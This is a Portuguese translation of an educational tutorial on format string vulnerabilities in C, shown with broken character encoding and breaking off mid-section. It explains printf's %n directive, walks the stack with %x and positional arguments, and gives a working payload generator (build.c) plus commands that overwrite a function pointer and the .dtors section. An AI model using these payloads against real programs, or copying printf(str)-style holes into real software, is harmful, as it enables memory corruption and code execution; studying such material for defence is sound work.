Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr to en: Frédéric
en to en: Lorne Bailey
en to pt: Bruno Sousa
O Christophe Blaess � um engenheiro aeron�utico independente. Ele � um f� do Linux e faz muito do seu trabalho neste sistema. Coordena a tradu��o das p�ginas man publicadas no Projecto de Documenta��o do Linux.
O Christophe Grenier � um estudante no 5� ano na ESIEA, onde, tamb�m trabalha como administrador de sistema. Tem uma paix�o por seguran�a de computadores.
O Frederic Raynal tem utilizado o Linux desde h� alguns anos porque n�o polui, n�o usa hormonas, n�o usa MSG ou farinha animal ... reclama somente o suor e a ast�cia.
Muitas falhas de seguran�a prov�m de m� configura��o ou desleixo. Esta regra permanece verdadeira para a formata��o de strings.
� necess�rio por vezes, utilizar strings terminadas em null num
programa. Onde dentro do programa n�o � importante aqui. Esta
vulnerabilidade �, de novo, acerca da escrita directa para a mem�ria. Os
dados para o ataque podem vir da stdin
, ficheiros, etc.
Uma instru��o simples � o suficiente:
printf("%s", str);
Contudo, um programador pode decidir em guardar tempo e seis bytes quando s� escreve:
printf(str);
Com a "economia" em mente, o programador abre um potencial buraco no
seu trabalho. Ele est� satisfeito em passar um �nica string como argumento
a qual ele queria, simplesmente, apresentar sem nenhuma modifica��o.
Contudo esta string ser� dividida em partes para se procurar directivas de
formata��o (%d
, %g
...). Quando um caracter de
formata��o � descoberto, o argumento correspondente � procurado na
pilha.
Introduziremos as fun��es da fam�lia printf()
. Pelo
menos esperamos que toda a gente as conhe�a ... mas n�o em detalhe, ent�o
lidaremos com os aspectos menos conhecidos destas rotinas. Depois veremos a
informa��o necess�ria para explorar tal erro. Finalmente veremos como isto
se encaixa num simples exemplo.
printf()
: disseram-me uma mentira !Comecemos pelo que todos n�s aprendemos nos nossos livros de programa��o: muitas das fun��es de entrada/sa�da do C utilizam a formata��o dos dados o que significa que n�o s� providencia os dados para escrita/leitura bem como o modo de ser apresentado. O programa seguinte ilustra isto:
/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }Correndo-o, apresenta:
>>gcc display.c -o display >>./display int : 64 97 char : @ aO primeiro
printf()
escreve o valor da vari�vel inteira
i
e a vari�vel caracter a
como int
(isto � feito usando %d
), o que leva a
apresentar
o valor ASCII. Por outro lado, o segundo printf()
converte a
vari�vel inteira i
para o correspondente c�digo ASCII que �
64.
Nada de novo - tudo conforme as muitas fun��es com um prot�tipo
semelhante � fun��o printf()
:
const
char *format
) � usado para especificar o formato seleccionado;Muitas das nossas li��es de programa��o terminam aqui,
providenciando uma lista n�o exaustiva das poss�veis formata��es (%g
,
%h
, %x
, e o uso do caracter ponto
.
para a precis�o...) Mas, existe um outro nunca
falado: %n
. Eis o que diz a p�gina do manual do
printf
acerca dele:
O n�mero de caracteres escritos at� ent�o � guardado num
indicador int * (ou variante) num argumento de ponteiro.
Nenhum argumento � convertido. |
Eis aqui a coisa mais importante deste artigo: este argumento torna poss�vel a escrita numa vari�vel do tipo ponteiro , mesmo quando � usado numa fun��o de apresenta��o !
Antes de continuarmos, deixem-nos dizer que esta formata��o tamb�m
existe para as fun��es da fam�lia scanf()
e
syslog()
.
Vamos estudar o uso e o comportamento desta formata��o atrav�s de
pequenos programas. O primeiro, printf1
, mostra um simples
uso:
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }
A primeira chamada do printf()
apresenta a string
"0123456789
" que cont�m 10 caracteres. A pr�xima
formata��o %n
escreve o valor da vari�vel n
:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10Transformemos, ligeiramente, o nosso programa substituindo a instru��o
printf()
da linha 7 pela seguinte:
7: printf("buf=%s%n\n", buf, &n);
Correndo este novo programa, confirma a nossa ideia: a vari�vel
n
� agora 14, (10 caracteres da vari�vel string
buf
mais os 4 caracteres da string constante
"buf=
", contida na string de formata��o).
Ent�o, sabemos que a formata��o %n
conta cada caracter
que aparece na string de formata��o. Mais adiante, como demonstraremos com
o programa printf2
, conta ainda mais:
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }O uso da fun��o
snprintf()
� para prevenir de um buffer
overflow. A vari�vel n
devia ser 10:
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100Estranho ? De facto, a formata��o
%n
considera a
quantidade de caracteres que devem ter sido
escritos. Este exemplo que a truncagem tendo em conta o tamanho � ignorada.
O que � que realmente acontece ? A string de formata��o � estendida completamente antes de ser cortada e depois copiada para o buffer de destino:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }O
printf3
cont�m algumas diferen�as comparativamente ao printf2
:
>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)As duas primeiras linhas n�o s�o nenhuma surpresa. A �ltima ilustra o comportamento da fun��o
printf()
:
00000\0
";x
no nosso exemplo. Depois a string � algo
parecido com "01234\0
";sizeof buf - 1
bytes2 a partir desta string � copiado na string de
destino buf
, o que nos d� "0123\0
"GlibC
, em
particular a vfprintf()
no direct�rio
${GLIBC_HOME}/stdio-common
.
Antes de terminarmos esta parte, adicionemos que � poss�vel de obter
os mesmos resultados escrevendo a string de formata��o de um modo
ligeiramente diferente. Previamente, utiliz�mos a precis�o (o
ponto '.'). Uma outra combina��o de instru��es de formata��o conduz-nos a
um resultado id�ntico: 0n
, onde o n
� o n�mero do
comprimento , e o 0
significa que os espa�os devem
ser trocados por 0 no caso de todo o comprimento n�o ser preenchido.
Agora que sabe tudo acerca da formata��o de strings, e muito
especialmente acerca da formata��o %n
, estudaremos os seus
comportamentos.
printf()
O pr�ximo programa gui�r-nos-� em toda esta sec��o para
compreendermos como o printf()
e a pilha se relacionam:
/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }Este Programa s� copia um argumento para o vector de caracteres do
buffer
. Tomaremos cuidado para n�o escrevermos por cima de
alguns dados importantes ( a formata��o de strings s�o, realmente, mais
correctas que os excedimentos de buffer ;-)
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)Trabalha como esper�vamos :) Antes de avan�armos examinemos o que acontece do ponto de vista da pilha ao chamar o
snprintf()
na linha 8.
Fig. 1 : A pilha no inicio do snprintf() |
![]() |
A Figura 1 descreve os estado da pilha
quando o programa entra na fun��o snprintf()
(veremos que isto
n�o � verdade ... mas isto � s� para lhe dar uma ideia do que est� a
acontecer). N�o nos import�mos com o registo %esp
. Est�
algures abaixo do registo %ebp
. Como vimos num artigo
anterior, os dois primeiros sectores localizados no %ebp
e
%ebp+4
cont�m as respectivas salvaguardas dos registos
%ebp
and %ebp+4
. Seguindo-se os argumentos da
fun��o snprintf()
:
argv[1]
que
tamb�m se comporta como dado.tmp
de 4 caracteres , com os 64 bytes da vari�vel buffer e a vari�vel inteira;
A string argv[1]
� usada ao mesmo tempo como string de
formata��o e de dados. Segundo a ordem normal da rotina
snprintf()
o, argv[1]
aparece em vez da string de
formata��o. Visto que pode utilizar a string de formata��o sem directivas
de formata��o (s� texto), est� tudo bem :)
O que � que acontece quando argv[1]
cont�m tamb�m dados
de formata��o ? ? Normalmente, snprintf()
interpreta-as como
est�o ... e n�o existe nenhuma raz�o para agir de outro modo ! Mas aqui,
pode querer saber quais os argumentos que v�o ser usados para a formata��o
das strings de resultado. De facto o snprintf()
extrai os
dados da pilha ! Pode ver isto a partir do nosso programa
stack
:
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Primeiro, a string "123
" � copiada para o
buffer
. O %x
pede ao snprintf()
para
traduzir o seu primeiro valor para hexadecimal. Na figura 1, o primeiro argumento n�o � mais do que a vari�vel
tmp
que cont�m a string \x01\x02\x03\x00
. �
apresentado como sendo o n�mero hexadecimal 0x00030201 segundo o nosso
processador little endian.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
Adicionando uma segunda vari�vel %x
permite-lhe subir
na pilha. Dia ao snprintf()
para procurar pelos pr�ximos 4
bytes ap�s a vari�vel tmp
. Estes 4 bytes s�o de facto os
primeiros 4 bytes do buffer
. Contudo, o buffer
cont�m a string "123
", a qual pode ser vista como o n�mero
hexadecimal 0x20333231 (0x20=space, 0x31='1'...). Ent�o, para cada
%x
, o snprintf()
"salta" 4 bytes para al�m do
buffer
( 4 porque o unsigned int
s� ocupa 4 bytes no processador x86). Esta
vari�vel actua como agente duplo, pois:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
Pode, ocasionalmente, encontrar um formato �til quando � necess�rio
trocar entre os par�metros (por exemplo, ao apresentar a data e o tempo).
Adicion�mos o formato m$
, logo ap�s o %
, onde o
m
� um inteiro >0. Isto d� a posi��o da vari�vel para
utilizar uma lista de argumentos (come�ando por 1):
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
O formato utilizando m$
permite-nos ir at� onde queremos na pilha, como o pod�amos fazer
com o gdb
:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
O caracter \
� necess�rio aqui para proteger o
$
e para prevenir a shell do interpretar. Nas tr�s primeiras
chamadas visit�mos o conte�do da vari�vel buf
. Com
%4\$x
, obtemos o registo guardado %ebp
, e com o
pr�ximo %5\$x
, o registo guardado %eip
(tamb�m
conhecido como endere�o de retorno). Os 2 resultados apresentados aqui,
mostram o valor da vari�vel argc
e o endere�o contido em
*argv
(lembre-se que **argv
quer dizer que
*argv
� um vector de endere�os).
Este exemplo ilustra que os formatos fornecidos permitem-nos
percorrer a pilha � procura de informa��o, como o endere�o de retorno de
uma fun��o, um endere�o ... Contudo vimos que no princ�pio deste artigo
pod�amos escrever usando fun��es do tipo printf()
: n�o vos
parece isto uma potencial e maravilhosa vulnerabilidade ?
Voltemos ao programa stack
:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664)Damos como string de entrada:
i
;%.496x
);%n
) que
escrever� para dentro do endere�o dado. i
(aqui
0xbffff664
), podemos correr o programa uma segunda vez e
alterar a linha de comandos, respectivamente. Como pode notar, aqui o
i
tem um novo valor :) A string de formata��o dada e a
organiza��o da pilha fazem o snprintf()
parecer-se algo como:
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, 4 primeiros bytes no buffer);
Os primeiros quatro bytes (contendo o endere�o i
) s�o
escritos no princ�pio do buffer
. O formato %.496x
permite-nos
livrar-nos da vari�vel tmp
que est� no principio da pilha. Depois
quando a instru��o de formata��o � o %n
, o endere�o utilizado
� o de i
, no principio do buffer
. Apesar da
precis�o requerida ser 496, o snprintf escreve no m�ximo sessenta bytes
(porque o tamanho do buffer 'e 64 e 4 bytes j� foram escritos). O valor 496
� arbitr�rio e � somente utilizado para o "contador de bytes". Vimos que o
formato %n
guarda o n�mero de bytes que deviam ser escritos.
Este valor � 496, ao qual adicion�mos 4 a partir dos 4 bytes do endere�o i
no
principio do buffer
. Assim cont�mos 500 bytes. Este valor ser�
escrito no pr�ximo endere�o da pilha, que � o endere�o do i
.
Podemos ainda avan�ar neste exemplo. Para alterar o i
, precis�vamos
de saber o seu endere�o ... mas por vezes o pr�prio programa fornece-o:
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
Correndo este programa, mostra-se que podemos controlar a pilha (quase) praticamente como queremos:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
Como pode var, dependendo do argumento, podemos alterar quer o cpt1
, quer
o cpt2
. O formato %n
espera um endere�o, eis o
porqu� de n�o podermos agir directamente nas vari�veis (por exemplo usando %3$n (cpt2)
ou %4$n
(cpt1)
) mas tem de ser directamente atrav�s de ponteiros. Os
�ltimos s�o "carne fresca" com enormes possibilidades para modifica��o.
egcs-2.91.66
e o glibc-2.1.3-22
. Contudo,
voc� provavelmente n�o obter� os mesmos resultados na sua pr�pria
experi�ncia. Al�m disso as fun��es do tipo *printf()
alteram-se
consoante a glibc
e os compiladores n�o reagem da mesma
maneira para opera��es id�nticas.
O programa stuff
apresenta estas diferen�as:
/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
O vector aaa
e bbb
s�o usados como
delimitadores na nossa jornada atrav�s da pilha. Assim sendo, sabemos que
quando encontramos 424242
, os bytes seguintes alteram-se no buffer
. A
Tabela 1 apresenta as diferen�as segundo as vers�es
da glibc e os compiladores.
Tab. 1 : Varia��es � volta da glibc | ||
---|---|---|
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
A seguir neste artigo, continuaremos a utilizar o egcs-2.91.66
e
a glibc-2.1.3-22
, mas n�o se admire de notar algumas diferen�as
na sua m�quina.
Enquanto explorando o excedimento do buffer (overflow), utiliz�mos um buffer para escrever por cima do endere�o de retorno de uma fun��o.
Com a formata��o de strings, vimos que podemos ir a
todo o lado (pilha, heap, bss, .dtors, ...), s� temos de dizer onde
e o que escrever para o %n
fazer o trabalho por n�s.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
N�s definimos uma vari�vel chamada ptrf
que � um
ponteiro para a fun��o. Alteraremos o valor deste ponteiro para correr a
fun��o que escolhemos.
Primeiro, temos de obter a diferen�a entre o principio do buffer vulner�vel e a nossa posi��o corrente na pilha:
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
A primeira chamada aqui d�-nos o que precisamos: 3 palavras (uma
palavra = 4 bytes para processadores x86) separa-nos do inicio da vari�vel buffer
. A
segunda chamada com AAAA%3\$x
como argumento, confirma isto.
O nosso objectivo � agora substituir o valor inicial do ponteiro
ptrf
(0x8048634
, o endere�o da fun��o helloWorld()
) com
o valor 0x8048654
(endere�o da accessForbidden()
).
Temos de escrever 0x8048654
bytes (134514260 bytes em
decimal, algo como 128Mbytes). Nem todos os computadores podem usufruir de
tal mem�ria ... mas o que estamos a usar � capaz :) Demora cerca de 20
segundos num pentium duplo a 350 Mhz:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
O que � que n�s fizemos? Demos somente o endere�o de ptrf
(0xbffff5d4)
. A pr�xima formata��o (%.134514256x
) l� as
primeiras palavras a partir da pilha com uma precis�o de 134514256 (j�
t�nhamos escrito 4 bytes a partir do endere�o de ptrf
, ent�o
ainda temos de escrever 134514260-4=134514256
bytes). por
�ltimo escrevemos o valor pretendido no endere�o dado (%3$n
).
Contudo, como o mencion�mos, nem sempre � poss�vel utilizar 128 MG
em buffers. O formato %n
espera um ponteiro para um inteiro,
ou seja quatro bytes. � poss�vel alterar o seu comportamento fazendo-o
apontar para um short int
- s� 2 bytes - gra�as �
instru��o %hn
. Ent�o cortamos o inteiro no qual queremos
escrever em duas partes. A parte de escrita maior caber� em
0xffff
bytes (65535 bytes). Ent�o no exemplo anterior,
transformamos a opera��o de escrita "0x8048654
no endere�o
0xbffff5d4
" em duas opera��es sucessivas: :
0x8654
no endere�o 0xbffff5d4
0x0804
no endere�o
0xbffff5d4+2=0xbffff5d6
Contudo, %n
(ou %hn
) conta o n�mero de
caracteres escritos para a string. Este n�mero s� pode aumentar. Primeiro,
temos de escrever o valor ,mais pequeno entre os dois. Depois, a segunda
formata��o s� usar� a diferen�a entre os n�meros necess�rios e o primeiro
n�mero escrito com precis�o. Por exemplo, no nosso exemplo, a primeira
opera��o de formata��o ser� de %.2052x
(2052 = 0x0804) e a
segunda %.32336x
(32336 = 0x8654 - 0x0804). Cada %hn
colocado
logo ap�s a direita gravar� a correcta quantidade de bytes.
S� temos de especificar onde escrever ambos %hn
. O
operador m$
ajudar-nos imenso. Se guardarmos o endere�o de
inicio do buffer vulner�vel, s� temos de subir pela pilha para encontrar a
dist�ncia entre o inicio do buffer e o formato m$
. Ent�o,
ambos os endere�os estar�o a um comprimento de m
e m+1
. Como
usamos os primeiros 8 bytes para guardar os endere�os para rescrita, o
primeiro valor escrito deve ser decrementado por 8.
A nossa string de formata��o � algo parecido com:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
val. min.]x%[offset+1]$hn"
O programa build
utiliza tr�s argumentos para criar uma
string de formata��o:
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** The 4 bytes where we have to write are placed that way : HH HH LL LL The variables ending with "*h" refer to the high part of the word (H) The variables ending with "*l" refer to the low part of the word (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* too lazy to evaluate the true length ... :*/ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* detailing the value */ valh = (value >> 16) & 0xffff; //top vall = value & 0xffff; //bottom fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* buffer allocation */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ valh-8, /* set the value for the first %hn */ where, /* the %hn for the high part */ vall-valh, /* set the value for the second %hn */ where+1 /* the %hn for the low part */ ); } else { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ vall-8, /* set the value for the first %hn */ where+1, /* the %hn for the high part */ valh-vall, /* set the value for the second %hn */ where /* the %hn for the low part */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
A posi��o dos argumentos altera-se consoante se o primeiro valor a ser escrito � a parte mais alta ou baixa da palavra. Verifiquemos o que obtemos agora, sem quaisquer problemas de mem�ria.
Primeiro, o nosso simples exemplo, permite-nos advinhar o comprimento:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
� sempre o mesmo: 3. Visto que o nosso programa � feito para
explorar o que acontece, n�s j� temos toda a outra informa��o que
precisamos: Os endere�os ptrf
e accesForbidden()
.
Constru�mos o nosso buffer segundo isto:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Nada acontece ! De facto, vimos que us�mos um buffer grande no exemplo anterior da formata��o da string, a pilha alterou-se. O
ptrf
foi
de 0xbffff5d4
para 0xbffff5b4
). Os nossos valores
precisam de ser ajustados:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Ganh�mos!!!
Vimos que os bugs de formata��o permitem-nos escrever em qualquer
lado. Ent�o, veremos agora uma explica��o baseada na sec��o .dtors
Quando um programa � compilado com o gcc
, pode
encontrar uma sec��o de constru��o (chamada .ctors
) e um
destrutor (chamado .dtors
). Cada uma destas sec��es cont�m
ponteiros para as fun��es a serem carregadas antes de fun��o main()
e
depois sair, respectivamente.
/* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); }O nosso programa mostra esse mecanismo:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Cada uma destas sec��es � constru�da do mesmo modo:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............Verificamos que os endere�os indicados s�o iguais aos nossas fun��es (aten��o: o comando precedente
objdump
d�-nos os endere�os no
formato little endian):
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endEnt�o, estas sec��es cont�m os endere�os das fun��es que correm no principio (ou no fim), "encaixados" com
0xffffffff
e 0x00000000
.
Apliquemos isto ao vuln
usando a formata��o de string.
Primeiro temos de ter a localiza��o na mem�ria destas sec��es o que �
realmente f�cil quando temos o bin�rio � m�o ;-) Utilize simplesmente o objdump
como
fizemos previamente:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Aqui est� ! Temos tudo o que precisamos agora.
O objectivo da explora��o � substituir o endere�o de uma fun��o
destas sec��es pelo de uma fun��o que queremos executar. Se as sec��es
est�o vazias, s� se tem de sobrepor o endere�o 0x00000000
que
indica o fim da sec��o. Isto dar� uma segmentation fault
pois
o programa n�o encontrar� este endere�o 0x00000000
, e tomar�
como pr�ximo valor o endere�o de uma fun��o o que provavelmente n�o �
verdade.
De facto, a �nica sec��o de interesse � a sec��o do destrutor (.dtors
): n�o
temos tempo de fazer alguma coisa antes da sec��o do construtor (.ctors
). Geralmente,
� suficiente sobrepor o endere�o em 4 bytes ap�s o inicio da sec��o (o 0xffffffff
):
0x00000000
;Voltemos ao nosso exemplo. Substitu�mos o 0x00000000
na
sec��o .dtors
, residente em
0x8049848=0x8049844+4
, com o endere�o da fun��o
accesForbidden()
, j� conhecido (0x8048664
):
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Tudo corre bem, o
main()
, o helloWorld()
e
depois sai. O destrutor � logo chamado. A sec��o .dtors
�
iniciada com o endere�o de accesForbidden()
. Depois visto que
n�o existe num endere�o real de uma fun��o, o esperado coredump ("cad�ver")
acontece.
Vimos pequenas explora��es aqui. Usando o mesmo principio, podemos
obter uma linha de comandos, quer passando o c�digo da shell atrav�s do
argv[]
ou atrav�s de uma vari�vel de ambiente ao programa
vulner�vel. S� temos de definir o endere�o correcto (por exemplo: o
endere�o da eggshell) na sec��o .dtors
.
At� agora, sabemos:
Contudo, na realidade, o programa vulner�vel n�o � t�o simp�tico com o exemplo anterior. Introduziremos um m�todo que nos permitir� p�r o c�digo da shell na mem�ria e devolver o seu endere�o exacto (o que significa que n�o � adicionado mais nenhum NOP ao principio do c�digo da shell).
A ideia baseia-se em chamadas recursivas � fun��o exec*()
:
/* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); }A entrada � um inteiro
nb
o qual o programa chamar�
recursivamente a si pr�prio nb+1
vezes:
